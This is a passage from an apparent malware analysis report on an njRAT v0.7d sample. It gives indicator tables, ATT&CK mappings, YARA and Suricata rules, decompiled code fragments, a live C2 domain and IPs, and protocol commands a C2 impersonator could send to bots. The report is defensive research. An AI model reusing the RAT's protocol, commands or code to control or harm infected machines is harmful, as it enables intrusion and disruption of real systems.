| File | %TEMP%\server.exe | Drop location | Static |
| File | autorun.inf on removable drives | USB worm | Static |
| Process | svchost.exe (fake) | Process name masquerade | Static |
| Process | netsh.exe (child) | Firewall rule creation | Dynamic |
| Firewall | netsh firewall add allowedprogram | Exception rule | Static + Dynamic |
| Fingerprint | HKLM\SOFTWARE\Microsoft\Cryptography\MachineGuid | Hardware ID read | Dynamic |
File Hashes
| Hash | Value |
|---|---|
| SHA-256 | ff87cd932e25b024cd10042c186f252fdabdac2c4d4cbc67f89e457697ebbc71 |
| MD5 | 129df3c4dcaae4c1860a334be50f2ed3 |
| SHA-1 | 4cda77bc5d5c136c4a5a19122fd378b045cc7dee |
MITRE ATT&CK Mapping
| ID | Technique | Evidence |
|---|---|---|
| T1547.001 | Boot or Logon Autostart: Registry Run Keys | HKCU\...\Run persistence |
| T1059.003 | Command and Scripting Interpreter: Windows Command Shell | cmd.exe remote shell |
| T1056.001 | Input Capture: Keylogging | GetAsyncKeyState polling |
| T1113 | Screen Capture | CopyFromScreen / Bitmap |
| T1125 | Video Capture | capGetDriverDescriptionA webcam |
| T1071 | Application Layer Protocol | Port 443 raw TCP (disguised as HTTPS) |
| T1091 | Replication Through Removable Media | autorun.inf USB spread |
| T1562.001 | Impair Defenses: Disable or Modify Tools | Kill taskmgr/processhacker; ProcessBreakOnTermination BSoD anti-removal |
| T1562.004 | Impair Defenses: Disable or Modify System Firewall | netsh firewall exception |
| T1112 | Modify Registry | Disable CMD/Registry Editor/Task Manager/System Restore |
| T1529 | System Shutdown/Reboot | shutdown -s/-r/-l commands |
| T1555 | Credentials from Password Stores | Dropbox-hosted Pass.exe |
| T1105 | Ingress Tool Transfer | Plugin download and execute |
| T1070.004 | Indicator Removal: File Deletion | ping 0 & del self-delete |
| T1620 | Reflective Code Loading | Assembly.Load(byte[]) in Plugin(), fileless payload staging |
| T1036.005 | Masquerading: Match Legitimate Name | Drop as svchost.exe on USB drives |
| T1095 | Non-Application Layer Protocol | Raw TCP on port 443 (not TLS) |
| T1571 | Non-Standard Port | Custom protocol on standard HTTPS port |
Detection
YARA Rules
Two rules. Full file: rats/njrat/njrat_im523.yar
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
import "pe"
rule njRAT_im523_HacKed_Campaign
{
meta:
description = "Detects njRAT v0.7d im523 variant with 'HacKed' campaign tag"
author = "Tao Goldi"
version = 1
family = "njRAT"
strings:
$ver = "im523" ascii wide
$sep = "|'|'|" ascii wide
$tag = "SGFjS2Vk" ascii wide
$c2 = "phishing.multimilliontoken.org" ascii wide
$mutex = "411e31664bdd9d96369d0a44d5111aef" ascii wide
condition:
uint16(0) == 0x5A4D and filesize < 100KB and
(($ver and $sep) or ($c2 and $mutex))
}
rule njRAT_Generic_v07d
{
meta:
description = "Generic njRAT v0.7d family detection"
author = "Tao Goldi"
version = 1
family = "njRAT"
strings:
$sep = "|'|'|" ascii wide
$s1 = "shutdowncomputer" ascii wide
$s2 = "restartcomputer" ascii wide
$s3 = "DisableKM" ascii wide
$s4 = "DisableTaskManager" ascii wide
$s5 = "TurnOffMonitor" ascii wide
$s6 = "ReverseMouse" ascii wide
condition:
uint16(0) == 0x5A4D and
pe.imports("mscoree.dll") and
$sep and 5 of ($s*)
}
Network (Suricata)
1
2
3
4
5
6
7
alert tcp $HOME_NET any -> $EXTERNAL_NET 443 (
msg:"MALWARE njRAT v0.7d C2 beacon (plaintext on 443)";
flow:established,to_server;
content:"|27|'|27|";
detection_filter:type count, track by_src, count 3, seconds 300;
sid:2026042; rev:1;
)
Note: njRAT sends plaintext on port 443, any TLS inspection will immediately flag this as anomalous since there’s no TLS handshake.
Conclusion
This 37KB njRAT v0.7d im523 variant is a textbook Bladabindi build with zero obfuscation, the operator relied entirely on the small file size and port 443 abuse for evasion rather than code protection. The “HacKed” campaign tag and phishing[.]multimilliontoken[.]org C2 domain are novel with no prior public reporting, suggesting a recently provisioned infrastructure.
Despite its commodity nature, the sample packs an impressive density of capabilities into 37KB: keylogger, screen/webcam capture, remote shell, USB worm propagation, 20+ system control commands, anti-analysis tool detection, and a plugin system for deploying secondary payloads (including a Dropbox-hosted credential harvester). The plaintext C2 protocol on port 443 is trivially detectable, a single Suricata rule on the |'|'| separator will catch all njRAT v0.7d variants on the network.
What makes this sample worth writing up isn’t the malware itself, njRAT is commodity, well-documented, thirteen years old. It’s the operational picture. A fresh build compiled four days before I found it, beaconing to a domain with zero public reporting, proxied through Cloudflare, with the campaign tag “HacKed.” Someone is actively using this framework in 2026 with enough operational discipline to provision new infrastructure but not enough to obfuscate their implant.
The plaintext C2 protocol on port 443 is trivially detectable, a single Suricata rule on the |'|'| separator will catch every njRAT v0.7d variant on the network. The real value of this analysis is the complete decompiled source mapping: every method name to its function, every config field to its purpose, every Win32 API call to its actual behavior. If you encounter an njRAT sample in your own triage, the deobfuscation is already done for you.
Code Weaknesses and Defensive Opportunities
Reversing the decompiled source revealed several implementation flaws that defenders and incident responders can exploit. These aren’t theoretical, they’re verified against the actual code.
The C2 Has Zero Authentication. Sinkhole and Mass-Uninstall
This is the big one. The entire C2 protocol is unauthenticated plaintext TCP. There is no TLS handshake, no challenge-response, no HMAC, no session token, nothing. The framing is just <decimal_length>\0<UTF-8 payload> with |'|'| delimiters.
A defender who sinkoles phishing[.]multimilliontoken[.]org (via DNS or network controls) can stand up a listener on port 443 that:
- Accepts each bot’s TCP connection
- Receives the
llidentification beacon - Sends back
un|'|'|~, which triggersUNS(), the full uninstall sequence
UNS() in the decompiled source (OK.cs) does everything an incident responder could want: calls pr(0) to remove BSoD protection, deletes the Registry Run key, removes the firewall exception, deletes the Startup folder copy, wipes the HKCU\Software\<mutex> registry subkey, and self-deletes via cmd.exe /k ping 0 & del. No authentication is checked. This is a one-command kill switch for every connected bot.
The Keylogger Has a Fatal Bug. Persistence Is Dead Code
This one surprised me. The kl.WRK() keylogger loop has a counter variable num that’s supposed to trigger registry persistence every 1000 iterations:
1
2
3
4
5
6
7
8
9
10
while (true)
{
int num = 1; // ← reset to 1 EVERY iteration of the outer loop
// ... key scanning ...
if (num == 1000) // ← will NEVER be true
{
OK.STV(vn, Logs, RegistryValueKind.String); // dead code
}
Thread.Sleep(1);
}
num is declared inside the while(true) loop and initialized to 1 on every iteration. It’s never incremented. The num == 1000 condition can never fire. This means keylogs are never persisted to the registry, they exist only in the Logs string in memory. If the RAT process crashes or is killed, all captured keystrokes are lost. The operator likely never noticed because the kl C2 command reads Logs from memory directly, so keylogs appear to work, they’re just not crash-safe. This is a quality-of-life bug for defenders: a crash or reboot loses the attacker’s keylog buffer entirely.
The Plugin System Enables Defender Code Injection
The Plugin() method loads arbitrary .NET assemblies via Assembly.Load(byte[]) with zero verification, no hash check, no signature, no sandboxing:
1
2
3
4
5
public static object Plugin(byte[] b, string c)
{
Module[] modules = Assembly.Load(b).GetModules();
// ... finds class matching 'c', calls CreateInstance ...
}
A C2 impersonator can send a PLG command containing a custom .NET assembly that re-enables Task Manager, CMD, and Registry Editor (reversing the DisableTaskMgr/DisableCMD/DisableRegistry registry writes), wipes the keylog data from memory, removes persistence, and terminates the RAT. The plugin even gets passed the live TcpClient connection at line 1054, giving it full network access.
The UDP Flood Leaks Sockets Until Crash
The udp command’s flood loop creates a new Socket object on every iteration and never closes it:
1
2
3
4
5
6
7
while (true && udp)
{
Socket socket = new Socket(AddressFamily.InterNetwork, SocketType.Dgram, ProtocolType.Udp);
socket.SendTo(buffer, remoteEP);
Thread.Sleep(delay);
// socket is never closed — handle leaks every iteration
}
With a low delay value, this exhausts the OS handle table within minutes. An operator who uses the DDoS feature ironically destabilizes their own RAT. A defender who impersonates the C2 can trigger this deliberately: send udp|'|'|127.0.0.1|'|'|1|'|'|0 to start a flood with zero delay against localhost, the RAT will burn through socket handles until it crashes, while the udpstp command to stop it requires getting another command through the now-congested TCP connection.
The Receive Buffer Has a Race Condition
The static b buffer (5121 bytes, later resized dynamically) is shared between the RC() receive thread and command handler threads spawned via im(). The join timeout is only 100ms:
1
2
3
Thread thread = new Thread(im, 1);
thread.Start(b);
thread.Join(100); // if Ind() takes longer than 100ms, b gets overwritten
If a second command arrives within 100ms, b is reassigned while the first command’s Ind() is still reading from it. The rn (upload & execute), inv (plugin load), and PLG commands all do memoryStream.Write(b, offset, b.Length - offset), with a corrupted b, the written data is garbled. A defender can exploit this by rapidly flooding commands to corrupt plugin loading or file execution, causing the RAT to write garbage to disk or load invalid assemblies.
All Stored Data Is Accessible to Any Local Process
Every piece of RAT state, keylogs, plugin binaries, config values, victim identifier, is stored under HKCU\Software\411e31664bdd9d96369d0a44d5111aef with default permissions. Any process running as the same user can read it. For incident responders, this means:
1
reg query HKCU\Software\411e31664bdd9d96369d0a44d5111aef
Returns the complete keylog buffer (under the [kl] value), the victim name, and any cached plugin binaries. No special tools needed.
Appendix A: Automated Triage Scores
The sample was flagged by our automated triage pipeline and confirmed by two independent sandbox services.
| Source | Score | Notes |
|---|---|---|
| Internal CAPA pipeline | 100/100 RED ALERT | Maximum risk score across 150+ capability rules |
| ANY.RUN | Malicious | njRAT detected via YARA + Suricata |
| Joe Sandbox | 100/100 | njRAT detected, 94% ReversingLabs, 92% VirusTotal |
AV classification: ByteCode-MSIL.Backdoor.NjRAT (ReversingLabs), TR/ATRAPS.Gen (Avira). Despite being “novel” in our MCRIT similarity engine (zero family match), the binary is well-detected by signature-based AV, the novelty was in the infrastructure (C2 domain), not the code.
Appendix B: Dynamic Sandbox Validation
Two sandbox runs confirmed that the static analysis findings are consistent with runtime behavior. I did not interact with the C2 myself, these results come from automated detonation.
ANY.RUN (150-second run)
| Finding | Value |
|---|---|
| C2 resolved | 188[.]114[.]97[.]3, 188[.]114[.]96[.]3 (CLOUDFLARENET) |
| First beacon | ll command — njRAT’s “I’m alive” check |
| Suricata | BACKDOOR njRAT Bladabindi CnC Communication command ll (SID 2021176) |
| Registry | HKCU\di = ! (install marker, matches ko() line 1352) |
| Child process | netsh.exe — firewall exception (matches INS() line 1238) |
| Machine GUID | Read HKLM\...\Cryptography\MachineGuid for hardware fingerprinting |
Joe Sandbox (7-minute run, score 100/100)
| Finding | Value |
|---|---|
| C2 resolved | 104[.]21[.]50[.]193 (different Cloudflare IP, confirms DNS load balancing) |
| Suricata | 1,000+ alerts (hit max), same SID 2021176 |
| Sleep interception | 469,976 Sleep calls accelerated, the 1ms keylogger loop (kl.WRK()) is the cause |
| CPU | >49% — confirmed by the Thread.Sleep(1) tight polling loop |
| Reconnect cadence | New TCP socket every ~2.3s (matches connect()’s Thread.Sleep(2000)) |
Sandbox False Positives (verified against source)
Joe Sandbox flagged several behaviors that are actually standard .NET CLR runtime artifacts, not malware code. I verified each against the decompiled source to avoid misattribution:
| Sandbox Signature | Reality |
|---|---|
MEM_WRITE_WATCH allocation | .NET GC generational write barrier |
PAGE_GUARD pages | CLR stack overflow detection |
Module proxying (Culture.dll) | .NET ResourceManager satellite assembly loading |
SetErrorMode(NOOPENFILEERRORBOX) | CLR default error mode |
"Hyper-V RAW" in memory | Winsock provider string on all Win10+ hosts |
OriginalFilename = mscorwks.dll | .NET 2.0 CLR runtime DLL in process memory (PE has no version info) |
This is a recurring problem when sandboxing .NET malware, the CLR’s internal housekeeping triggers signatures designed for native code. Always cross-reference sandbox findings against the actual source before including them in a report.
Appendix C: Attribution Context
Joe Sandbox’s threat intel associates njRAT broadly with AQUATIC PANDA, Earth Lusca, Operation C-Major, and The Gorgon Group, groups with Middle East and South Asian operational nexus. The “HacKed” campaign tag and phishing-themed domain are consistent with script-level operators in this space, but attribution cannot be established from a single sample. njRAT’s builder is widely leaked and used by actors across all sophistication levels.
Tools used: ILSpy (decompilation), dnfile/pefile (PE + .NET metadata), custom Python extraction scripts. Dynamic validation via ANY.RUN and Joe Sandbox. Win32 API prototypes from Microsoft Learn.
